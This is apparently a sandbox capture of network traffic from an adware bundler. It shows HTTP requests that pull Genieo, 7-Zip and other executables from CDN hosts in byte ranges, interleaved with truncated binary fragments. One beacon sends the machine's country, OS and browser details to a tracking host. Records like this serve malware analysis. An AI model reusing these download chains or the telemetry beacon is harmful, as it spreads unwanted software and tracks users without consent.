...........................{........................................s.
[email protected]............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=617755-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: o9ozr8N8LW3c7hUYhuxQqyqDrFP281NhYheGUmHSgNkeSE60LLUZw3sYRu/R4vS5

x-amz-request-id: 54C875912CF73329

Date: Wed, 22 Apr 2015 08:23:53 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 617755-988407/988408

Content-Type: application/octet-stream

Content-Length: 370653

Server: AmazonS3
...m$......"4C..HA.e...P.V.9J.2.E...."X..!X...>.U.oL{$.!.......5..h
.9\...Ua.M.%....... .5.}[email protected].'...'..My.......3i.........e..SPNO.ka
..R...f...5Mm..............c....W..%z`..U........D.h]...\q.....vyr..2.
.$.[.8M..6...=.*..g...J. N-k....w........G....s......6.3?>...).>
D..J.^.c/.N....u.6.....s...{....L..n......:........'...,...^..mg...BO.
>..}H#..N.'.F...%.....p..#....t...zV.,.\9.......D...B...B.:.[.IYZ..
.c..^K..[(d....H.......FwD.......z..L....-.i(.......I.....x.*..s[.....
b.H0DR..<"......d..w.{..v%e.8n......6t..P..>VK.e...4...B(7...>
;.a....K..A...Z.%.x."...:O...!...".p`......t.....q..Z...".....t...s;."
.[h.#z..ZG....&A.(.....@..........}...?g..u(.M..[.dD..h.7C4HS......I.-
....'.....|O......X[.....2"6.lR..(......m_....f...........u...n....Y..
i.9.......5..5..<7 ...0.c...|.i..zHh8..B'.........B.~1..;....A.T.H.
.FT.....8.9L..i`,..t.!C...B.<..lQ..W...F[....|T\..o.f...e.....H.o..
..9U....p.ReW.z.wJ.....A.!.#.../0.......E..v...X.M.(.:p[...b9.{#N.....
0...%6..AsI....'.........9.H%}6.0..'.;..R5.........4.j.Vw..g..N$...q..
..........s.}.)........\.2..^P..f....UA.bQK...o.~B..D...F...W.....)L..
./.wL]>[email protected]^.x......&G.Z........G..2.WuO......&.....T.W..
.)(..D.e.........C .Bl.U{...hC..ml0.......x......3...............h|...
.d.0`3.6$l.)Q...e.....BPo|-..@..<,K.0t.....2g.o./4..(.q$.M..M..X(J}
..F.Y.%Z..9.'.n...WR.V.V..I:.S`..uA.(h9FN.c..X.........4..........kD..
....>7.6%..n..`.v..R..w.u:.n.......u5f.!K*....6:...tK..n...k.%...AJ
.".../..}p.g...3.2.m.[..6....g..F...C......G_..B]*..i.<PX./gMI.<<< skipped >>>

GET /monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429690905&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429690905 HTTP/1.1

Host: logs.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:48 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1429690909.dop011.am4.t,1429690908.cds058.am4.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Wed, 22 Apr 
2015 08:21:48 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1429690909.dop011.am4.t,1429690908.
cds058.am4.c..GIF89a.............,...........D..;..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:20:12 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET //MEkwRzBFMEMwQTAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX+2yz8LQsgM4CCDsMjSNG/1/Z HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.godaddy.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:23:17 GMT

Server: Apache

Content-Transfer-Encoding: Binary

Cache-Control: max-age=121268, public, no-transform, must-revalidate

Last-Modified: Wed, 22 Apr 2015 07:50:48 GMT

Expires: Thu, 23 Apr 2015 19:50:48 GMT

ETag: "351046e43fa190c968e94a6603cc10d945dbbe81"

P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"

Content-Length: 1787

Connection: close

Content-Type: application/ocsp-response

0..........0..... .....0......0...0...z0x1.0...U....US1.0...U....Arizo
na1.0...U....Scottsdale1.0...U....GoDaddy Inc.1 0)..U..."Go Daddy Vali
dation Authority - G2..20150422075048Z0k0i0A0... ..........._lkv...8..
f..R34N..@..'..4.0.3..l...,....;..#F._.....20150422075048Z....20150423
195048Z0...*.H..............B...z.....,.g.i....I..M!.....c....#..[..tk
.....:.f..m........;..h.........I..U.........lsCm...l7.k^v....p{...Wr.
.X..&be]~.m3...!....u.An.t..Vb.I......x..._.t....Hj..=.U.....b.0.x....
F.q..zV;.g..y]..Q.....pm.Up..3L...4...i.WMJ*z$.v.!......~..98fq.F....4
|qe....0...0...0..........,.z.Hl..0...*.H........0..1.0...U....US1.0..
.U....Arizona1.0...U....Scottsdale1.0...U....GoDaddy.com, Inc.1-0 ..U.
..$hXXp://certs.godaddy.com/repository/1301..U...*Go Daddy Secure Cert
ificate Authority - G20...150316070000Z..160316070000Z0x1.0...U....US1
.0...U....Arizona1.0...U....Scottsdale1.0...U....GoDaddy Inc.1 0)..U..
."Go Daddy Validation Authority - G20.."0...*.H.............0.........
xo(....QQ.`L.~...&...a.F.=.....d=....."......?...\..........b.D....l=.
HS.N......A..;....C)...(..T........XA-N....k1 .....ag...,4.L{.I..hEKb.
.K......!.(...7....p.O...X.._........8.B..k[4...........e.../....^.S..
7A.b.oB..\......2%.|c...A....Fk.T..24.0B...p..........0...0...U.......
0.0...U...........0...U.%..0... ......... .......0...U.......O........
f...e..r..0... .....0......0L..U...E0C0A.?.=.;hXXp://crl.godaddy.com/r
epository/mastergodaddy2issuing.crl0J..U. .C0A0?..`.H...m....000... ..
......"hXXp://crl.godaddy.com/repository/0...*.H................."

<<< skipped >>>

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=50018-100036

User-Agent: Better Installer(Mozilla)

Host: d1z9ocnzqrnjt0.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 50019

Connection: keep-alive

Date: Sun, 19 Apr 2015 06:46:01 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 50018-100036/200072

Age: 1032

X-Cache: Hit from cloudfront

Via: 1.1 8cdc69e06e564b9aef153cf0b52204b0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: yUxmq1u89QD6VeE0oAi9j8tH-4ETw9JrR1KGmq7EkvzVBznjKOKpgA==
M.{..h.Hk.Y*.._4N.....w..?0 .G..K.F...!....f.b...Z...w.B.l..,.pB..2.~~
.......J.;k.#t..".np...K.....R..3.T........4..k/.?.../.....}..^.-.....
.P.W,X..b...Y.TZv.S.J.F.MZ.7.,..H.c..=.dt6u...(......O.......Mf4;...{s
...8......q.V....!J\B.....e...c..s...Y}.......9&:..z....1..l...v?.....
.7..4h.mJ....A.v..f....a.C...|E...\....T.O... ..|7f..vrw.......H......
.c...~...%..G/4K"<..d....2.e.G[..}=.S.R$.o......g.........y....)P..
wRr..[(.u.I|.6..My......y...I.t;.h....(n.m...b.G\.qH..G.......C?EC....
([email protected].....).q3....^L.. .....Yw......n.....a.3...^...g.yH..
..v.<x.X...D,M..'..MzF..zFf......|.h%.6M...d`.)[email protected]$SL....
... .&.7..(:.F.>8....M5..^o_.....o...\...N....x......q.O...7"QB...A
w....;G..b..{c .....?wF....jW=..r$hAHo.SdV.#.7...............yP.N.3p..
./)..-.z,...j=uJ[.a`K."...CWRN..b.=..jK.....rVe.m}.U.%..l....-A...jK..
h...m,...g.O...U?e...)...5.u.T.vP.....*$_..PJ.O..jdJ...O...Q..F..N.5..
~.....H.J)....lJ.....I%..5:.......^8..UrI.AR....>.8..h..N...n......
...........!o......,..fa._4O...^....u?...H.a..(n...[..s.t.T.G....0.|..
...|.}....>.t..%[email protected]|.._...`2..H'....Ud.o.G?D<...0.y
..-.....|..x.2..>o.[Z1....a..B....|z..m.v%4.,.]Nt..C.~.....|*..w_a.
..A_..Xo.Z.-.r*x..T..\....c.].`/.y.....A....^.......)......ri.......M.
?.u..#)......#>..........W....K{..E.A....:.....W...Qq.`.z......F..j
X:Q.k.a..sF.H..;...e...R...k..o..}..3J......r..O.>W.......L~..@.~.j
V.-.Y2...^.`...)6..L.Okq.........x.m..).\4.......}..W.. .......-DU9x.c
.x.&.B[H..7;3....{....N..,7fh..._..s..5......fXn..Q...JX........[.<<< skipped >>>

GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Tue, 14 Apr 2015 05:02:07 GMT

Accept-Ranges: bytes

ETag: "2711f7277076d01:0"

Server: Microsoft-IIS/8.5

VTag: 438486457400000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 554

Cache-Control: max-age=900

Date: Wed, 22 Apr 2015 08:24:56 GMT

Connection: keep-alive

0..&0......0...*.H........0y1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1#0!..U....Microsoft Code Si
gning PCA..150413163223Z..150713045223Z.a0_0...U.#..0..........X..7.3.
..L...0... .....7.........0...U......Z0... .....7......150712164223Z0.
..*.H.............WK....e.\.-.n......./......."]..E!.. //=...[....w...
 ..........#...[.l.J..f|..... .s......w...J._.......3.[..#.z....ko.I..
Q{....e.nV......F..d}..rF\H.jlH]dQ.E....x......W............j....&L. 2
.$.?...X?.#.(.....pK.v.......y..r....t......=.AW......K.G.gJD.b.HTTP/1
.1 200 OK..Content-Type: application/pkix-crl..Last-Modified: Tue, 14 
Apr 2015 05:02:07 GMT..Accept-Ranges: bytes..ETag: "2711f7277076d01:0"
..Server: Microsoft-IIS/8.5..VTag: 438486457400000000..P3P: CP="ALL IN
D DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT CO
M INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Content-Length:
 554..Cache-Control: max-age=900..Date: Wed, 22 Apr 2015 08:24:56 GMT.
.Connection: keep-alive..0..&0......0...*.H........0y1.0...U....US1.0.
..U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1#0
!..U....Microsoft Code Signing PCA..150413163223Z..150713045223Z.a0_0.
..U.#..0..........X..7.3...L...0... .....7.........0...U......Z0... ..
...7......150712164223Z0...*.H.............WK....e.\.-.n......./......
."]..E!.. //=...[....w... ..........#...[.l.J..f|..... .s......w...J._
.......3.[..#.z....ko.I..Q{....e.nV......F..d}..rF\H.jlH]dQ.E....x....
..W............j....&L. 2.$.?...X?.#.(.....pK.v.......y..r....t...

<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 0-249999/7590800

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......5..Yq...q...
q...q...~.......t.......p.......p.......p...Richq...........PE..L.....
.7......................s.............. ....@.........................
..s......st..............................!..5...D ..<....@..,.s....
.......s..............................................................
 ..D............................text............................... ..
`.rdata....... ......................@[email protected]...............
[email protected][email protected].................@..@...................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....x...SV.....W......
V3.PS..4 @.......VP......P..0 @..=, @.SSj.Sj.......h....P......E...{..
.......PV..( @[email protected]..$ @[email protected]
.../...SSSj.S.u.... @.SSSj.P.E.... @....E......G.....MZ..t...MZ..u..x.
.t..E.@.}.....|..M.SQh....P.u.... @.W... @..u..=. @....u...... @.j..E.
Y3..}.V.........E.D...P......P..0 @..u.......".......F...:.t..."t.@...
8"[email protected] [email protected]..< @.....E.P.E.PSSSSS...
...SP......P... @...t.j..u.... @.......P..  @._^3.[....:.t... t..H

<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 500000-749999/7590800
....a....(S...q........a...!.O..7\[email protected]....'.t.i.C..1%.... ..U$f.:n
.Z..a.kw4w`..0...&.F..^..$.FN..0..R.l....gY,4Q..=...&............k.i\.
}Q/..v.~..$W...../....JZ.)..#&....F.....D.. d..^D..QA.*.!&...1.jW..]#3
..A...#A.x.v....#8.....R..x c".A..vr..r....[.....>..^...Y..........
......mx....d ..o....k.d....x..w.....O.6...Q.......Od...6..a.o...<.
A....b....ds!..y=....Na..L..ZR.@[email protected]"..
..........K0.....T....1.3.....J/l....'[email protected]...?...Z...c..OJ...)R.
?S...u..s_Y.[..r.....3.#.....O...'[email protected]../vE.c... .......D..
.6G5..7H..........&.g.f ...n. ..3....L...V.~1..g.).(.......BA.}..s....
wL.Vr..x7..8.....H...o..%...(.........-C.....z.P.."........2.I.(...t..
n..V.2Q..M...Yf!u..=].7....][email protected]..* 
.....b7..... ......8bD....uA..-lN.BHu0`!q_B*.{.$.eq<.V.w...]...V_x.
[email protected]..]..s..%.[....r.....Ge,F.....U=|.]...k....I.....DU...fZ}.nMp.r..
.5.s!..8......s?..:..K.{........,.h.0....,....q8...9.=.......w$U.qe...
...$..G*.j.....'".....9.;;..h.#Rt]#*(...8/DV.pvP...;..,....W..e.....pD
K.....wp...O.^...(4....sk.Q..:..|....Jv.......(..&._.U.l#[email protected]\.P
}U.5c.L.........h.o5pt...,...p........-}...<.B-$....}..H..8d....G..
.L.4.d.Y.3.wrD..$L.....{qQ.....<..."._...O-zV .U.E:N1h.^>.U..0.B
!.}.e~.b............Z./b.~9...w.....dI....6d.\m.....2^.G...t.Ci...~..v
.....1......`...|....!.....S"gR.Z.jhp.q...5....&.n....^f..<xg......
..s.&.....-#....3F.q#.*..Eo. .2......R......,......."...2.mE...A].....
....x..VU...%.QY8Z.2.....O..5`..'..MnA..B.>v...F......dP....\?r<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1000000-1249999/7590800
.'...:V....:/.s..im...7....W......8..r.1..}]6>9g........Q....`.....
-...c.So..Lm...9.....!...E.j!...3.\3.C.f.a.....C.#[email protected].... a
.....J;....u...*.......~.N..B........X.0.Z....).....4.O$..A~..ArG..X\.
...B.r.....8..G..@\.[.....d:[email protected].[...N.K.L.%l.]|...C....V.EhI.
Y...O..c....|q..._Y.m....rK....Z.on.y.s....v...y.f'.E....R.RO$f[......
...{t-5......>.......).m...S^.H......9..-...#..*h.g.X.1...O.~.?._..
2g_.....9.../......b 6/.6.-.6...(..V.. l26..W..<I.:.....&`M..<..
h.......).=@TEo.~...4.. ..`...!8...........7......=......Ui.!..;....).
...9.....&.@<..e....[_:..XV..UTC2....A..E.l.V.q.*Jyng.....Jv.m&....
....}.E1..c,00..~<.1..uE..B..E.Vs.O.....C..M&....[..EjQU^....../.b.
/.....a./....3........e..z....*.6&,..5..?.[JI...pQi)8...oC.."......tU.
..V_Ce..5u.Zza.(..m......\.......*......Q..Y..>.G.7.5..b.w..T(&...8
 \pwV.F,.8.<....V...*..,...}]......'...)..\..;...z#6..w_....9.^G..p
.0#..98..._Z...,.5....{..n.....Ma..$..V...'Wg..> Ci..h............`
.!....=......H...J...4. {...........U.....S^uC..E_.....?nN...s]...D..|
./?iY.......X..2^..[.....FS3..OL.8N......K'...Uy..1j/-...)%7.S...H..V.
.F .^.V..aP...4...u .:Z.q.9...1w......9s...6... XA..5V...8...`...1G..:
......~.w..n.........Z..2..Sj..-...|cp.....]7...2....o...?..) y0.p..8.
w..Ad..r..j...T2K)>()...-..hk..M....4...6?..W..CzZ...}[email protected]
...}..Y\......N.....A.=Y"q./. .....jy1F..&s t^,./....V&..L.u.L:U...ne&
lt;@1...GqN;.$QK.i..w.).3.,..3.....*...v ......uT..c;.y..7............
._"k...D.E..........O.....R_.u=.t.'.....W.h.?y...Jj...0.M........o<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1500000-1749999/7590800
e.B$./..e...........Y......,.. ..Y........mP..R..b...L....Y 4.f.E&..A.
.|.*....^.;..S...&<<H'.q\[email protected]... .q.~._...
..s..4;. `\.....7H..zG.Z..]}.......4.._.....s..>`E.o....7..A..@....
6.... *..2...1. 4..C.o.......4...x.........@0iT..%)`%..y..f~........E.
..]hB...:..W...r...o.M$....S............X..... =............\@...t._..
.?......S..jc...U..,.. ~jY..IR.s....n...s...!..1..~.[....D..Dh...9..\.
L8.~c............O...h...:.W....../...YT.]W!.A1h"...F.......'....c....
 .,@>....4...D..]...s..t....1......A...<.A).w..t.&c..M.R2....&x.
...F..,{.t..r.5.<5....B.l.......y.iiF.....O..O..-Q"..m?k....l....tJ
.Vu..,Z.T...k.{...g.V8....."t].$...R...!...W...l.m....r.....g..|6.{.W.
}.W[.jV#.v.m.aa.QO_.M.m...fbK....9...r'..jaO.V.b..MF.:g.1]t.|..).y...C
.....2....xa1.e.d~.q.L........=.s..>v.^.&@:.i.Nz.#.t.....-%..kt...E
.$.......?5..&......5...H.M.5.P. .n{...!AX.~..^^i...*......zV....h.L..
.....k....G...EU.....:rq&.$.BIF^.B;(.x.%s./(Z...Dd'....(...v...&u...D.
EE.........uT..Pg9.. .)........N.....}?.q?...y..Y.Z....wY....v^|.f.\..
....$.s.....%.....5.w..%ooK.......%........w!.U..so;/.......sh[z..>
...jW..........q.{kW...z.....N.w}..5Ix3-}.0.v......z$}.4.v..L.6{?..=..
.....u..2x.K..?.I...[.......9..rs......mE.a.s.....K..x..?D/....S..<
-_..:$S.(.&.d.IH..!.SB..k....W..~..n,....?.t_..C.p...~.........8...E..
. ........s.o..[&.H!....D=a..5......(..z....hw.....>N\.. =.6...K.P3
p...........tn..f.z.d....;...-...e..b_..)f7.2....O...{............>
\......5R.zkwM..F....K..'.~.Ku-.K.v...7E......H.[..w.b..ez.>\.(<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2000000-2249999/7590800
..0M.......!..I/*r...S..h......B{.{.F$.~l...q..O ....\.B_.. J......2..
../.H.e<6.=....s.i....Fp.Gi.....~..I..S......j...v..,\.K.>.Qz.].
......p.nyc...-...H.:.l3r .F4...e...7.MN.G..../P[......S...K....8...\4
#........a:~..0.".....w......s.%.0.j...S.I>.e.....%3>i...|.....9
....qd.......K...`i..j....I.S...N"r..e\b.7....;..xi.Q.....w,I.....3t..
Z...=&....k....A.w...,........c..9<[email protected]...)...
[email protected].....{#.s...!..2.<k...i..oI"C.....1T.\.T..>.>....Ey!...A.
;.}K.I_...#.........Q3........1p....7.I..u..............s....x..z.D..L
.U......7:.S...(...1.5C.P...;....V....h.M.......ey..{..../A..#k.7.#n.t
Xn;wAu=....).'<.R..:9...>...bWY...QL...or..{.jn.i.3........v..$'
......g..T..r/.W.........?...aXV-h..3.g..M|qe.........(.u...Wa...f[..o
.K.._.J.....,.\.n..n.Zn.>.N...7...3D...6'.VA.K..&.`%...$V..."g..%.p
....T....t.... ...D....y....K...mX...8..B..cvlJ.0.W..W.....xfX..8Sl|..
..Uu7.=.~. ...o...".[.i..........h.dA*g>...j....p1....jz.i.pulE..S.
u............;<.. n.uK.yv-.v.0..7Z...R....@..>....0..43._..K.;.f
. D.P.?RVW.G_.e........w......zB...\.T..A 4v.5....J..5c.D......7K.-...
..f.}g8..;<X...H:v.A..nq.x...h8'.h..D..p3$...0....t(>.A....._.&g
t;..~...H. ...o...3#.C|4.E..0d.......mr&.$.W.z...;`.c.}w..............
....&s...*......^..d.......WK....g..c......E......C....>.....FH/...
$.k.<C....h...........:..`._v7xP.Aq..F.{..Q9Y(>.g....2..bz:.FY..
#G.5...p............~U...#...GAl..Y..q-..P...&.gyy......*.......7...7y
..QJ...].....}.....{..F..G......B[.......Y....Q.z.E^wd....K|x.v...<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2750000-2999999/7590800
............N=/D]yB...H....5.S.x.so.X..5p...U.b.V.l..).{....{.T....BG^
..H=..e...../[email protected].[`93...i'..Y..!......i.S._2..
.d..... ..P & .mTJ.../g..3.9..or ..w.}.X9.w_09x.!.....T.h..$..{.8x.U..
wS~.j.....?..e....}..<.l...|.uy.O,.E.r...<.....A.!x....J.....S..
s|..CJ..$..........r...<r..Pr..."8e..yQ..SRzBXN.?.!...Q/....[.S.;n8
9dn......ka..>'...w]@r0....pV>D..w[....?-..9.TOIy_J.4.u.......6.
.j7....`...}.f.u....]..jnZv-..|z.?f...............*[email protected].
....'..., ............9..V...,;...v.]...o...OZ..V..[e..U.[..H1...nr]..
=.."....k?1....W...}..u.......5.b..v...2.....G....;.Z...gLopJ..h@.....
..._8.... \;.....y2.../.. .k./....x..R.......G...B.......62.......h.a.
.6Z.......:.C ...g.....(.....qL=l.......[|.,.....x8.o.8.-.n..P..%...Jt
....u.........C.........yy.0.........e6.}5*.g.1.. .>.....k][...?...
~Za.*.......j..LQ2r.`/...<.Nt...$...A{.K;..p.<.....*6..... .`.t.
Gw.....K>.4....d.Vn<.._.V......H}....B..],(..v.=.J....6.0.......
.T.g.xd?]g....P.5.....9..!.E2....{...>.h........=.:?R|....s.......F
..............}........bi2.r.!.....k...<D..Gz.E``#./A.D...M(3.>.
....L..6.4.f..:.#;-...W.1n6v.g.2. [email protected]=8......k.8,...3,....6.y...L
.......-.3......x.C.o...#H6....|.7t%[...hr..l..<zM.g.........Y..-r.
.zM.w;.>.].~...<[email protected][email protected].....{....."........
....../]?....7t1d.g.3..).`.<.~..f.r.j...)....p..B.u_...i..W........
..R<}}8.G... ...}.3..n.(].}..i....Tl.:..BW....._...P.._T,.^...XC.F.
asn....9..8.,&}..F..G.......<...:.Y......$.G..i.L..e...q.c.S...<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=3250000-3499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: x5rxab0416k-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 7H7P9Ez2K0 N9F1azW7W91yLZat4SN9GhJMBQcK8z/2DZA4gvh9K2/RAGgxLdz6d

x-amz-request-id: 40EF5B85389A784D

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

